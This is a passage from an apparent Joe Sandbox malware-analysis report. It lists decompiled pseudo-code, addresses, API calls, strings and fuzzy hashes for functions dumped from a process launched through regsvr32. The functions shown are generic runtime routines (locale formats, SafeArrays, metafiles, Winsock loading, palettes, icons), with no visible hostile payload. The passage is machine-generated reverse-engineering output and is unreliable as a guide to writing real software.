				_push(_v16);
				E00403FB8();
				_push(_v12);
				_push(_v8);
				_push(":mm:ss");
				_push(_v16);
				E00403FB8();
				 *0x43a74a = E00409D8C(_t132, 0x2c, 0xc);
				_pop(_t183);
				 *[fs:eax] = _t183;
				_push(E0040B7C6);
				return E00403C5C( &_v68, 0x10);
			}

0x0040b4f4
0x0040b4f4
0x0040b4f5
0x0040b4f7
0x0040b4fc
0x0040b4fc
0x0040b4fe
0x0040b500
0x0040b500
0x0040b503
0x0040b506
0x0040b507
0x0040b50c
0x0040b50f
0x0040b512
0x0040b517
0x0040b51c
0x0040b523
0x0040b525
0x0040b525
0x0040b52f
0x0040b53e
0x0040b54b
0x0040b560
0x0040b56f
0x0040b584
0x0040b593
0x0040b5a6
0x0040b5b9
0x0040b5ce
0x0040b5dd
0x0040b5f0
0x0040b605
0x0040b610
0x0040b61d
0x0040b632
0x0040b63d
0x0040b64a
0x0040b65d
0x0040b672
0x0040b67f
0x0040b694
0x0040b6a1
0x0040b6a9
0x0040b6b1
0x0040b6c6
0x0040b6d0
0x0040b6d5
0x0040b6d7
0x0040b6f0
0x0040b6d9
0x0040b6e1
0x0040b6e1
0x0040b705
0x0040b70f
0x0040b714
0x0040b716
0x0040b728
0x0040b739
0x0040b752
0x0040b73b
0x0040b743
0x0040b743
0x0040b739
0x0040b757
0x0040b75a
0x0040b75d
0x0040b762
0x0040b76f
0x0040b774
0x0040b777
0x0040b77a
0x0040b77f
0x0040b78c
0x0040b79f
0x0040b7a6
0x0040b7a9
0x0040b7ac
0x0040b7be

APIs

GetThreadLocale.KERNEL32(00000000,0040B7BF,?,?,00000000,00000000), ref: 0040B52A

Part of subcall function 00409D40: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00409D5E

Strings

:mm, xrefs: 0040B75D
AMPM, xrefs: 0040B73E
m/d/yy, xrefs: 0040B5F9
AMPM , xrefs: 0040B74D
mmmm d, yyyy, xrefs: 0040B626
:mm:ss, xrefs: 0040B77A

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: e354521be87fc3f6702ef086425171d7391d3d3da096e8418187ffbbb39543ee
Instruction ID: d24852d5229b1d9cbb19e440c8fc2d3ef74b35bf959e7309576854f082a7f2d0
Opcode Fuzzy Hash: e354521be87fc3f6702ef086425171d7391d3d3da096e8418187ffbbb39543ee
Instruction Fuzzy Hash: 47611D31B442489BDB00EBA5D842A9E77AADB88304F54943BF540BB7C6CB3CDD05979E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8E8 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040D8E8(short* __eax, intOrPtr __ecx, intOrPtr* __edx) {
				char _v260;
				char _v768;
				char _v772;
				short* _v776;
				intOrPtr _v780;
				char _v784;
				signed int _v788;
				signed short* _v792;
				char _v796;
				char _v800;
				intOrPtr* _v804;
				void* __ebp;
				signed char _t47;
				signed int _t54;
				void* _t62;
				intOrPtr* _t73;
				intOrPtr* _t91;
				void* _t93;
				void* _t95;
				void* _t98;
				void* _t99;
				intOrPtr* _t108;
				void* _t112;
				intOrPtr _t113;
				char* _t114;
				void* _t115;

				_t100 = __ecx;
				_v780 = __ecx;
				_t91 = __edx;
				_v776 = __eax;
				if(( *(__edx + 1) & 0x00000020) == 0) {
					E0040D528(0x80070057);
				}
				_t47 =  *_t91;
				if((_t47 & 0x00000fff) != 0xc) {
					_push(_t91);
					_push(_v776);
					L0040C2DC();
					return E0040D528(_v776);
				} else {
					if((_t47 & 0x00000040) == 0) {
						_v792 =  *((intOrPtr*)(_t91 + 8));
					} else {
						_v792 =  *((intOrPtr*)( *((intOrPtr*)(_t91 + 8))));
					}
					_v788 =  *_v792 & 0x0000ffff;
					_t93 = _v788 - 1;
					if(_t93 < 0) {
						L9:
						_push( &_v772);
						_t54 = _v788;
						_push(_t54);
						_push(0xc);
						L0040C730();
						_t113 = _t54;
						if(_t113 == 0) {
							E0040D280(_t100);
						}
						E0040D840(_v776);
						 *_v776 = 0x200c;
						 *((intOrPtr*)(_v776 + 8)) = _t113;
						_t95 = _v788 - 1;
						if(_t95 < 0) {
							L14:
							_t97 = _v788 - 1;
							if(E0040D85C(_v788 - 1, _t115) != 0) {
								L0040C748();
								E0040D528(_v792);
								L0040C748();
								E0040D528( &_v260);
								_v780(_t113,  &_v260,  &_v800, _v792,  &_v260,  &_v796);
							}
							_t62 = E0040D88C(_t97, _t115);
						} else {
							_t98 = _t95 + 1;
							_t73 =  &_v768;
							_t108 =  &_v260;
							do {
								 *_t108 =  *_t73;
								_t108 = _t108 + 4;
								_t73 = _t73 + 8;
								_t98 = _t98 - 1;
							} while (_t98 != 0);
							do {
								goto L14;
							} while (_t62 != 0);
							return _t62;
						}
					} else {
						_t99 = _t93 + 1;
						_t112 = 0;
						_t114 =  &_v772;
						do {
							_v804 = _t114;
							_push(_v804 + 4);
							_t18 = _t112 + 1; // 0x1
							_push(_v792);
							L0040C738();
							E0040D528(_v792);
							_push( &_v784);
							_t21 = _t112 + 1; // 0x1
							_push(_v792);
							L0040C740();
							E0040D528(_v792);
							 *_v804 = _v784 -  *((intOrPtr*)(_v804 + 4)) + 1;
							_t112 = _t112 + 1;
							_t114 = _t114 + 8;
							_t99 = _t99 - 1;
						} while (_t99 != 0);
						goto L9;
					}
				}
			}

0x0040d8e8
0x0040d8f4
0x0040d8fa
0x0040d8fc
0x0040d906
0x0040d90d
0x0040d90d
0x0040d912
0x0040d920
0x0040da99
0x0040daa0
0x0040daa1
0x00000000
0x0040d926
0x0040d929
0x0040d93b
0x0040d92b
0x0040d930
0x0040d930
0x0040d94a
0x0040d956
0x0040d959
0x0040d9c6
0x0040d9cc
0x0040d9cd
0x0040d9d3
0x0040d9d4
0x0040d9d6
0x0040d9db
0x0040d9df
0x0040d9e1
0x0040d9e1
0x0040d9ec
0x0040d9f7
0x0040da02
0x0040da0b
0x0040da0e
0x0040da2a
0x0040da31
0x0040da3c
0x0040da53
0x0040da58
0x0040da6c
0x0040da71
0x0040da84
0x0040da84
0x0040da8d
0x0040da10
0x0040da10
0x0040da11
0x0040da17
0x0040da1d
0x0040da1f
0x0040da21
0x0040da24
0x0040da27
0x0040da27
0x0040da2a
0x00000000
0x00000000
0x00000000
0x0040da2a
0x0040d95b
0x0040d95b
0x0040d95c
0x0040d95e
0x0040d964
0x0040d966
0x0040d975
0x0040d976
0x0040d980
0x0040d981
0x0040d986
0x0040d991
0x0040d992
0x0040d99c
0x0040d99d
0x0040d9a2
0x0040d9bd
0x0040d9bf
0x0040d9c0
0x0040d9c3
0x0040d9c3
0x00000000
0x0040d964
0x0040d959

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0040D981
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0040D99D
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0040D9D6
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0040DA53
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0040DA6C
VariantCopy.OLEAUT32(?), ref: 0040DAA1

Strings

, xrefs: 0040D902

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: 6423a5dc90f81aff1093c9aa9c180f8058d4eefe1d170d9c0d492b76d632ee25
Instruction ID: fb7c8cc992d1fe97b37e1efacbf466ad6df436adac0dde4da08084c1ec768dd5
Opcode Fuzzy Hash: 6423a5dc90f81aff1093c9aa9c180f8058d4eefe1d170d9c0d492b76d632ee25
Instruction Fuzzy Hash: D351FE75E002199BCB22DF99CC81ADAB7BCAF49304F4041EAF508F7252D6349F898F65

Uniqueness

Uniqueness Score: -1.00%

Function 004181E1 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004181E1(void* __eax, void* __ebx, int __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr _t103;
				intOrPtr _t115;
				struct HENHMETAFILE__* _t119;
				struct HENHMETAFILE__* _t120;
				void* _t122;
				void* _t123;
				intOrPtr _t124;

				 *(_t123 - 8) = __ecx;
				 *((intOrPtr*)(_t123 - 4)) = __edx;
				_t122 = __eax;
				E00418074(__eax);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t123 - 4)))) + 0xc))(__edi, __esi, __ebx);
				if( *((intOrPtr*)(_t123 - 0x22)) != 0x9ac6cdd7 || E00416C9C(_t123 - 0x22) !=  *((intOrPtr*)(_t123 - 0xe))) {
					E00415E4C();
				}
				 *(_t123 - 8) =  *(_t123 - 8) - 0x16;
				 *(_t123 - 0xc) = E00402640( *(_t123 - 8));
				_t103 =  *((intOrPtr*)(_t122 + 0x28));
				 *[fs:eax] = _t124;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t123 - 4)))) + 0xc))( *[fs:eax], 0x418347, _t123);
				 *((short*)( *((intOrPtr*)(_t122 + 0x28)) + 0x18)) =  *(_t123 - 0x14);
				if( *(_t123 - 0x14) == 0) {
					 *(_t123 - 0x14) = 0x60;
				}
				 *((intOrPtr*)(_t103 + 0xc)) = MulDiv( *((short*)(_t123 - 0x18)) -  *((short*)(_t123 - 0x1c)), 0x9ec,  *(_t123 - 0x14) & 0x0000ffff);
				 *((intOrPtr*)(_t103 + 0x10)) = MulDiv( *((short*)(_t123 - 0x16)) -  *((short*)(_t123 - 0x1a)), 0x9ec,  *(_t123 - 0x14) & 0x0000ffff);
				 *(_t123 - 0x32) = 8;
				 *((intOrPtr*)(_t123 - 0x2e)) = 0;
				 *((intOrPtr*)(_t123 - 0x2a)) = 0;
				 *((intOrPtr*)(_t123 - 0x26)) = 0;
				_t119 = SetWinMetaFileBits( *(_t123 - 8),  *(_t123 - 0xc), 0, _t123 - 0x32);
				 *(_t103 + 8) = _t119;
				if(_t119 == 0) {
					E00415E4C();
				}
				GetEnhMetaFileHeader( *(_t103 + 8), 0x64, _t123 - 0x96);
				 *(_t123 - 0x32) = 8;
				 *((intOrPtr*)(_t123 - 0x2e)) =  *((intOrPtr*)(_t123 - 0x76));
				 *((intOrPtr*)(_t123 - 0x2a)) =  *((intOrPtr*)(_t123 - 0x72));
				 *((intOrPtr*)(_t123 - 0x26)) = 0;
				DeleteEnhMetaFile( *(_t103 + 8));
				_t120 = SetWinMetaFileBits( *(_t123 - 8),  *(_t123 - 0xc), 0, _t123 - 0x32);
				 *(_t103 + 8) = _t120;
				if(_t120 == 0) {
					E00415E4C();
				}
				 *((char*)(_t122 + 0x2c)) = 0;
				_pop(_t115);
				 *[fs:eax] = _t115;
				_push(E0041834E);
				return E00402660( *(_t123 - 0xc));
			}

0x004181e4
0x004181e7
0x004181ea
0x004181ee
0x00418200
0x0041820a
0x0041821a
0x0041821a
0x0041821f
0x0041822b
0x0041822e
0x0041823c
0x0041824a
0x00418254
0x0041825d
0x0041825f
0x0041825f
0x0041827f
0x0041829c
0x0041829f
0x004182a8
0x004182ad
0x004182b2
0x004182c8
0x004182ca
0x004182cf
0x004182d1
0x004182d1
0x004182e3
0x004182e8
0x004182f2
0x004182f8
0x004182fd
0x00418304
0x0041831c
0x0041831e
0x00418323
0x00418325
0x00418325
0x0041832a
0x00418330
0x00418333
0x00418336
0x00418346

APIs

MulDiv.KERNEL32(?,000009EC,00000000), ref: 0041827A
MulDiv.KERNEL32(?,000009EC,00000000), ref: 00418297
SetWinMetaFileBits.GDI32(00000016,?,00000000,00000008,?,000009EC,00000000,?,000009EC,00000000), ref: 004182C3
GetEnhMetaFileHeader.GDI32(00000016,00000064,?,00000016,?,00000000,00000008,?,000009EC,00000000,?,000009EC,00000000), ref: 004182E3
DeleteEnhMetaFile.GDI32(00000016), ref: 00418304
SetWinMetaFileBits.GDI32(00000016,?,00000000,00000008,00000016,00000064,?,00000016,?,00000000,00000008,?,000009EC,00000000,?,000009EC), ref: 00418317

Strings

`, xrefs: 0041825F

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: FileMeta$Bits$DeleteHeader
String ID: `
API String ID: 1990453761-2679148245
Opcode ID: 5420a51b0d15690950b797c75ec8b9f04fb1bad19e5f0bbe63337ed21e6d1e52
Instruction ID: ca8b5ec8beeff4e372809bfed0953190b3fc275d7a13ec12d1e9be4c23ccfb7a
Opcode Fuzzy Hash: 5420a51b0d15690950b797c75ec8b9f04fb1bad19e5f0bbe63337ed21e6d1e52
Instruction Fuzzy Hash: 5341DA75D04608EFDB40DFA9C485AEEBBF9EF48710F11846AE904EB251DB399D40CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00433B94 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E00433B94(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				struct HINSTANCE__* _t19;
				intOrPtr _t26;
				void* _t30;
				intOrPtr _t42;
				void* _t51;

				_push(__ebx);
				_v8 = 0;
				_v12 = 0;
				_push(_t51);
				_push(0x433c61);
				_push( *[fs:eax]);
				 *[fs:eax] = _t51 + 0xfffffff0;
				if( *0x4385e0 == 0) {
					 *0x4385e0 = LoadLibraryA("WS2_32.DLL");
					if( *0x4385e0 == 0) {
						_push(GetLastError());
						_push( &_v8);
						_t26 =  *0x438d5c; // 0x432a38
						E00405678(_t26,  &_v12);
						_push(_v12);
						_v20 = "WS2_32.DLL";
						_v16 = 0xb;
						_pop(_t30);
						E00407C7C(_t30, 0,  &_v20);
						E00432C38(__ebx, _v8, 1, __edi, __esi);
						E00403610();
					}
					_t19 =  *0x4385e0; // 0x0
					 *0x43acf0 = GetProcAddress(_t19, "WSAStartup");
					 *0x43acf0(_a4, _a8);
				}
				_pop(_t42);
				 *[fs:eax] = _t42;
				_push(0x433c68);
				return E00403C5C( &_v12, 2);
			}

0x00433b9a
0x00433b9d
0x00433ba0
0x00433ba5
0x00433ba6
0x00433bab
0x00433bae
0x00433bb8
0x00433bc8
0x00433bd4
0x00433bdb
0x00433bdf
0x00433be3
0x00433be8
0x00433bf0
0x00433bf6
0x00433bf9
0x00433c02
0x00433c03
0x00433c12
0x00433c17
0x00433c17
0x00433c21
0x00433c2c
0x00433c3a
0x00433c40
0x00433c48
0x00433c4b
0x00433c4e
0x00433c60

APIs

LoadLibraryA.KERNEL32(WS2_32.DLL,00000000,00433C61), ref: 00433BC3
GetLastError.KERNEL32(WS2_32.DLL,00000000,00433C61), ref: 00433BD6

Part of subcall function 00405678: LoadStringA.USER32 ref: 004056A9

GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 00433C27

Strings

8*C, xrefs: 00433BE3
WS2_32.DLL, xrefs: 00433BF1
WSAStartup, xrefs: 00433C1C
WS2_32.DLL, xrefs: 00433BBE

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Load$AddressErrorLastLibraryProcString
String ID: 8*C$WS2_32.DLL$WS2_32.DLL$WSAStartup
API String ID: 607613470-3967051607
Opcode ID: bd02b949b7c5cad0ad1d5fe03cbff6b651e1ac37b9ef1f33ad14e5810dc64a57
Instruction ID: 080481cb4f6cafe919547984bf46a48e540ba0508cbfaa82e4e8080d1313969a
Opcode Fuzzy Hash: bd02b949b7c5cad0ad1d5fe03cbff6b651e1ac37b9ef1f33ad14e5810dc64a57
Instruction Fuzzy Hash: EA215E76904304AFDB00EFA4DC45A9EB7B8F70C305F50693AF404E7290EB786A40CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00403ABC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00403ABC(void* __ecx) {
				long _v4;
				int _t3;

				if( *0x43a044 == 0) {
					if( *0x437030 == 0) {
						_t3 = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
					}
					return _t3;
				} else {
					if( *0x43a218 == 0xd7b2 &&  *0x43a220 > 0) {
						 *0x43a230();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1e,  &_v4, 0);
					return WriteFile(GetStdHandle(0xfffffff5), E00403B44, 2,  &_v4, 0);
				}
			}

0x00403ac4
0x00403b24
0x00403b34
0x00403b34
0x00403b3a
0x00403ac6
0x00403acf
0x00403adf
0x00403adf
0x00403afb
0x00403b1c
0x00403b1c

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00403B8A,?,?,0043A630,?,?,HY@,004059FD,00436079), ref: 00403AF5
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00403B8A,?,?,0043A630,?,?,HY@,004059FD,00436079), ref: 00403AFB
GetStdHandle.KERNEL32(000000F5,00403B44,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00403B8A,?,?,0043A630), ref: 00403B10
WriteFile.KERNEL32(00000000,000000F5,00403B44,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00403B8A,?,?), ref: 00403B16
MessageBoxA.USER32 ref: 00403B34

Strings

Runtime error at 00000000, xrefs: 00403AEE, 00403B2D
Error, xrefs: 00403B28

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 5088bd220b5c561fdf6acd6b50ecd9f4a3f3678af04bd89ce132f99a3239c112
Instruction ID: 02a068b473a3c3aa8cf5549c310efb0a7109ea8603f77696f928e964a2b1b862
Opcode Fuzzy Hash: 5088bd220b5c561fdf6acd6b50ecd9f4a3f3678af04bd89ce132f99a3239c112
Instruction Fuzzy Hash: 2DF0F6A06C830434FB286B605C4AF2B357C5309F1AF20127BB3A0782E2C7BC5580862E

Uniqueness

Uniqueness Score: -1.00%

Function 00416494 Relevance: 12.1, APIs: 8, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00416494(void* __ebx) {
				struct HDC__* _v8;
				struct tagPALETTEENTRY _v1000;
				struct tagPALETTEENTRY _v1004;
				struct tagPALETTEENTRY _v1032;
				signed int _v1034;
				short _v1036;
				void* _t24;
				int _t53;
				intOrPtr _t60;
				void* _t62;
				void* _t63;

				_t62 = _t63;
				_v1036 = 0x300;
				_v1034 = 0x10;
				E004027E8(_t24, 0x40,  &_v1032);
				_v8 = GetDC(0);
				_push(_t62);
				_push(0x416591);
				_push( *[fs:eax]);
				 *[fs:eax] = _t63 + 0xfffffbf8;
				_t53 = GetDeviceCaps(_v8, 0x68);
				if(_t53 >= 0x10) {
					GetSystemPaletteEntries(_v8, 0, 8,  &_v1032);
					if(_v1004 != 0xc0c0c0) {
						GetSystemPaletteEntries(_v8, _t53 - 8, 8, _t62 + (_v1034 & 0x0000ffff) * 4 - 0x424);
					} else {
						GetSystemPaletteEntries(_v8, _t53 - 8, 1,  &_v1004);
						GetSystemPaletteEntries(_v8, _t53 - 7, 7, _t62 + (_v1034 & 0x0000ffff) * 4 - 0x420);
						GetSystemPaletteEntries(_v8, 7, 1,  &_v1000);
					}
				}
				_pop(_t60);
				 *[fs:eax] = _t60;
				_push(E00416598);
				return ReleaseDC(0, _v8);
			}

0x00416495
0x0041649e
0x004164a7
0x004164bb
0x004164c7
0x004164cc
0x004164cd
0x004164d2
0x004164d5
0x004164e3
0x004164e8
0x004164fd
0x0041650c
0x00416573
0x0041650e
0x00416521
0x0041653f
0x00416553
0x00416553
0x0041650c
0x0041657a
0x0041657d
0x00416580
0x00416590

APIs

GetDC.USER32(00000000), ref: 004164C2
GetDeviceCaps.GDI32(?,00000068), ref: 004164DE
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 004164FD
GetSystemPaletteEntries.GDI32(?,-00000008,00000001,00C0C0C0), ref: 00416521
GetSystemPaletteEntries.GDI32(?,00000000,00000007,?), ref: 0041653F
GetSystemPaletteEntries.GDI32(?,00000007,00000001,?), ref: 00416553
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 00416573
ReleaseDC.USER32 ref: 0041658B

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: EntriesPaletteSystem$CapsDeviceRelease
String ID:
API String ID: 1781840570-0
Opcode ID: 767d505feb72042833fdaf3cf83efe00f3940837459f7eda10f7560e27aa1dac
Instruction ID: 983f79b430bcf8dccf443cb5f83ca599d5e70c5f9c261c90d8d318407f584185
Opcode Fuzzy Hash: 767d505feb72042833fdaf3cf83efe00f3940837459f7eda10f7560e27aa1dac
Instruction Fuzzy Hash: 702144B1A40208BADF10DBA5CD85F9E73BCEB08704F5104A6B704F71C1D67D9E408B28

Uniqueness

Uniqueness Score: -1.00%

Function 00416A84 Relevance: 10.7, APIs: 7, Instructions: 166
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00416A84() {
				struct HINSTANCE__* _t145;
				long _t166;
				intOrPtr _t167;
				intOrPtr _t186;
				void* _t192;
				BYTE* _t193;
				BYTE* _t196;
				intOrPtr _t197;
				void* _t198;
				intOrPtr _t199;

				 *((intOrPtr*)(_t198 - 0x24)) = 0;
				 *((intOrPtr*)(_t198 - 0x20)) = E004168F8( *( *((intOrPtr*)(_t198 - 0x10)) + 2) & 0x0000ffff);
				_t192 =  *((intOrPtr*)(_t198 - 0xc)) - 1;
				if(_t192 > 0) {
					_t197 = 1;
					do {
						_t167 = E004168F8( *( *((intOrPtr*)(_t198 - 0x10)) + 2 + (_t197 + _t197) * 8) & 0x0000ffff);
						if(_t167 <=  *((intOrPtr*)(_t198 - 0x1c)) && _t167 >=  *((intOrPtr*)(_t198 - 0x20)) && E00416904( *((intOrPtr*)(_t198 - 0x10)) + ( *((intOrPtr*)(_t198 - 0x24)) +  *((intOrPtr*)(_t198 - 0x24))) * 8,  *((intOrPtr*)(_t198 - 0x10)) + (_t197 + _t197) * 8, _t198) != 0) {
							 *((intOrPtr*)(_t198 - 0x24)) = _t197;
							 *((intOrPtr*)(_t198 - 0x20)) = _t167;
						}
						_t197 = _t197 + 1;
						_t192 = _t192 - 1;
						_t204 = _t192;
					} while (_t192 != 0);
				}
				 *(_t198 - 0x40) =  *((intOrPtr*)(_t198 - 0x10)) + ( *((intOrPtr*)(_t198 - 0x24)) +  *((intOrPtr*)(_t198 - 0x24))) * 8;
				 *( *(_t198 + 8)) =  *( *(_t198 - 0x40)) & 0x000000ff;
				( *(_t198 + 8))[1] = ( *(_t198 - 0x40))[1] & 0x000000ff;
				 *((intOrPtr*)(_t198 - 0x2c)) = E00406E48(( *(_t198 - 0x40))[8], _t204);
				 *[fs:eax] = _t199;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t198 - 4)))) + 0x14))( *[fs:eax], 0x416c6b, _t198);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t198 - 4)))) + 0xc))();
				E0041673C( *((intOrPtr*)(_t198 - 0x2c)),  *((intOrPtr*)(_t198 - 0x2c)), _t198 - 0x38, _t198 - 0x34, _t192,  *((intOrPtr*)( *((intOrPtr*)(_t198 - 4)))), _t204,  *(_t198 + 8));
				GetObjectA( *(_t198 - 0x38), 0x18, _t198 - 0x70);
				GetObjectA( *(_t198 - 0x34), 0x18, _t198 - 0x58);
				_t166 =  *(_t198 - 0x64) *  *(_t198 - 0x68) * ( *(_t198 - 0x60) & 0x0000ffff);
				 *(_t198 - 0x3c) =  *(_t198 - 0x4c) *  *(_t198 - 0x50) * ( *(_t198 - 0x48) & 0x0000ffff);
				 *((intOrPtr*)(_t198 - 0x18)) =  *(_t198 - 0x3c) + _t166;
				 *(_t198 - 0x30) = E00406E48( *((intOrPtr*)(_t198 - 0x18)), _t204);
				_push(_t198);
				_push(0x416c48);
				_push( *[fs:eax]);
				 *[fs:eax] = _t199;
				_t193 =  *(_t198 - 0x30);
				_t196 =  &(( *(_t198 - 0x30))[_t166]);
				GetBitmapBits( *(_t198 - 0x38), _t166, _t193);
				GetBitmapBits( *(_t198 - 0x34),  *(_t198 - 0x3c), _t196);
				DeleteObject( *(_t198 - 0x34));
				DeleteObject( *(_t198 - 0x38));
				_t145 =  *0x43a660; // 0x400000
				 *((intOrPtr*)( *((intOrPtr*)(_t198 - 8)))) = CreateIcon(_t145,  *( *(_t198 + 8)), ( *(_t198 + 8))[1],  *(_t198 - 0x48),  *(_t198 - 0x46), _t193, _t196);
				if( *((intOrPtr*)( *((intOrPtr*)(_t198 - 8)))) == 0) {
					E00415EAC(_t166);
				}
				_pop(_t186);
				 *[fs:eax] = _t186;
				_push(E00416C4F);
				return E00402660( *(_t198 - 0x30));
			}

0x00416a86
0x00416a95
0x00416a9b
0x00416a9e
0x00416aa0
0x00416aa5
0x00416ab6
0x00416abb
0x00416ae2
0x00416ae5
0x00416ae5
0x00416ae8
0x00416ae9
0x00416ae9
0x00416ae9
0x00416aa5
0x00416af7
0x00416b03
0x00416b0f
0x00416b1d
0x00416b2b
0x00416b45
0x00416b58
0x00416b67
0x00416b76
0x00416b85
0x00416b95
0x00416ba4
0x00416bac
0x00416bb7
0x00416bbc
0x00416bbd
0x00416bc2
0x00416bc5
0x00416bc8
0x00416bce
0x00416bd6
0x00416be4
0x00416bed
0x00416bf6
0x00416c12
0x00416c20
0x00416c28
0x00416c2a
0x00416c2a
0x00416c31
